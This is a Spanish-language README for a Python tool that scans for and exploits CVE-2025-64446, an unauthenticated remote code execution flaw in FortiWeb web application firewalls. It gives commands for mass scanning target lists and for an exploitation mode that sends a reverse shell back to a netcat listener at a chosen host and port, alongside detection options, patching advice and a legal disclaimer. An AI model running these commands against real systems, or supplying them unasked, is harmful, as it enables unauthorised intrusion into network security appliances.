Descripción general
FortiWeb Research Tool es un marco de evaluación en Python para la detección y análisis autorizados de CVE-2025-64446, un problema crítico de ejecución remota de código sin autenticación previa que afecta a los dispositivos FortiWeb Web Application Firewall.
Capacidades principales
Resumen de la vulnerabilidad
Confirme siempre las versiones afectadas/corregidas contra el PSIRT de Fortinet antes de definir el alcance de la evaluación.
📸 Capturas de pantalla
| Uso | Resultados del escaneo |
|---|
 |  |
Instalación
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
Dependencias
Opcionales (desarrollo): pytest, black, flake8, mypy, python-dotenv — consulte requirements.txt.
Inicio rápido
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Nota: El modo de explotación requiere --lhost. Use --detect-only o --safe-mode cuando no tenga intención de ejecutar la cadena completa.
Guía de uso
Modo de detección
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
La detección evalúa la accesibilidad, las pistas de versión, la exposición de la API, los indicadores de path traversal, las señales de omisión de autenticación y la accesibilidad del endpoint de subida. El riesgo se clasifica como Crítico / Alto / Medio / Bajo a partir de esos indicadores.
Escaneo masivo
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager ejecuta los workers de FortiWebScanner mediante un pool de hilos, imprime una tabla resumen de Rich y escribe scan_report.json / scan_report.html.
Modo de explotación (solo laboratorios autorizados)
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
Archivo de configuración
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
Las opciones de CLI sobrescriben los valores cargados desde YAML.
Arquitectura
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Componente | Responsabilidad |
|---|
FortiWebScanner | Comprobaciones de accesibilidad, versión e indicadores CVE |
Flujo general para un solo objetivo:
- Configuración del banner / registro
- Sonda de accesibilidad y versión
- Comprobaciones de indicadores (o cadena completa cuando no se está en modo detección/seguro)
- Informe JSON + HTML en
reports/
- Limpieza cuando corresponda
Características
Detección
- Comprobaciones de indicadores de path traversal en las rutas de la API de administración
- Comprobaciones de señales de omisión de autenticación
- Sondeo de la versión de FortiWeb en endpoints comunes de estado/versión
- Mapeo de exposición de endpoints de la API
- Comprobaciones de accesibilidad del endpoint de subida de archivos
- Puntuación de riesgo a partir de indicadores combinados
- Informes JSON y HTML con marca de tiempo
- Métricas por solicitud (estado, latencia, tasa de éxito)
- Registros separados:
exploit.log, errors.log, requests.log
Controles operativos
- Escaneo masivo multihilo (
--threads)
- Soporte de proxy HTTP/HTTPS (p. ej., Burp)
- Reintentos con intentos/retardo configurables (valores predeterminados: 3 / 2 s)
- User-Agent personalizado, tiempo de espera, alternar verificación SSL (
--no-verify)
- Salida de consola en colores mediante Colorama + Rich
Salida generada
reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
Referencia de comandos
python3 exploit.py [OPTIONS]
Estructura del proyecto
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
Guía de mitigación
- Actualice FortiWeb a una versión parcheada (7.6.7+, 7.8.7+, 8.0.2+ o según las indicaciones actuales de PSIRT).
- Restrinja las interfaces de administración a redes de confianza / hosts de salto (jump hosts).
- Supervise la actividad de autenticación y de la API de mantenimiento para detectar accesos anómalos.
- Rote las credenciales y revise la integridad después de cualquier exposición confirmada.
- Vuelva a ejecutar
--detect-only / --safe-mode después del parcheo para validar la remediación.
Aviso legal y ético
Esta herramienta es solo para pruebas de seguridad, investigación y educación autorizadas.
- Utilícela únicamente en sistemas de su propiedad o sobre los que tenga permiso explícito por escrito para realizar pruebas
- Siga las normas de divulgación responsable y de los programas de bug bounty
- No la utilice para acceso no autorizado, daños o actividades ilegales
Al utilizar este software, usted confirma que tiene autorización, que no hará un uso indebido y que acepta toda la responsabilidad por sus acciones. El autor no es responsable del uso indebido.
Consulte SECURITY.md para la divulgación privada de vulnerabilidades relacionadas con este proyecto.
Recursos
Contribuciones
- Haga un fork del repositorio
- Cree una rama:
git checkout -b feature/your-change
- Haga un commit con un mensaje claro
- Haga push y abra un Pull Request
Valide los cambios únicamente en entornos de laboratorio autorizados y evite confirmar datos de objetivos en vivo, cookies o credenciales.
Licencia
Licencia MIT — consulte LICENSE.
Copyright (c) 2026 Sudeepa Wanigarathna
Autor y soporte
| |
|---|
| Autor | Sudeepa Wanigarathna |
| Incidencias | GitHub Issues para este repositorio |
| Seguridad | Consulte SECURITY.md · |